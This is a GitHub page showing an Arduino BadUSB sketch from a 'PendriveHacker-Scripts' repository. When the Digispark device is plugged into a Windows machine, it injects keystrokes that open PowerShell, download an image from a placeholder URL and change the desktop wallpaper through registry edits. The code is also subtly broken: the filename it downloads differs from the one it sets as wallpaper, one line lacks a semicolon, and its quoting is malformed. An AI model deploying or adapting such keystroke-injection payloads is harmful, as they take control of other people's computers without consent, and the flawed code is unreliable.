forked from Al0nnso/PendriveHacker-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTrocarWallpaper.ino
27 lines (26 loc) · 1.07 KB
/
TrocarWallpaper.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include "DigiKeyboardPtBr.h"
void setup() {
//empty
}
void loop() {
DigiKeyboardPtBr.sendKeyStroke(0);
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.println("powershell");
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.println("$client = new-object System.Net.WebClient");
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.println("$client.DownloadFile(\"URL_DA_FOTO\" , \"foto.jpg\")");
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.println("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /t REG_SZ /d "" /f")
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\gato.jpg\" /f");
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaperStyle /t REG_SZ /d 2 /f");
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.println("RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True");
DigiKeyboardPtBr.delay(500);
DigiKeyboardPtBr.println("exit");
for(;;){ /*empty*/ }
}